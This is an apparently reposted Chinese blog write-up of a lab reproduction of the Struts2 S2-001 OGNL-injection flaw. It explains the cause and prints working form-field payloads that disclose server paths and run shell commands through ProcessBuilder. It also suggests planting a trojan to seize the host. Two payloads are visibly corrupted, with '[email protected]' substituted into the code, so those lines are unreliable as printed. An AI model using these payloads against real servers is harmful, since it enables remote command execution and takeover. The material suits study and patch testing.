0x00 漏洞原理
類似于服務器模板注入,在輸入欄中輸入后,服務器會對用{{}} 包圍起來的式子進行運算,而且該漏洞是java的漏洞
該漏洞因為用戶提交表單資料并且驗證失敗時,后端會將用戶之前提交的引數值使用 OGNL 運算式 %{value}進行決議,然后重新填充到對應的表單資料中,例如注冊或登錄頁面,提交失敗后端一般會默認回傳之前提交的資料,由于后端使用 %{value}
對提交的資料執行了一次 OGNL 運算式決議,所以可以直接構造 Payload 進行命令執行
就是說,如果有2個輸入欄,其中的輸入必須是錯的,另一個的輸入才能通過構造payload進行命令執行,
0x01 影響版本
- Struts 2.0.0 - Struts 2.0.8
0x02 漏洞復現
設定好埠 8848:8080
然后
docker-compose build
docker-compose up -d

0x03 POC
0x03.1 獲取tomcat路徑
%{"tomcatBinDir{"[email protected]@getProperty("user.dir")+"}"}
submit提交后

得到 /usr/local/tomcat
0x03.2 獲取網站真實路徑
%{#[email protected]@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

submit提交后

0x03.3 命令執行
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
pwd為我們構造的命令


改成ls

我們可通過下載木馬 然后啟動木馬 來獲取目標主機權限,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/286746.html
標籤:其他
上一篇:Java筆記01 Scanner.close()、InputStream、PTA(8 實驗8 計算機類 (100 分))
下一篇:TCPIP原理

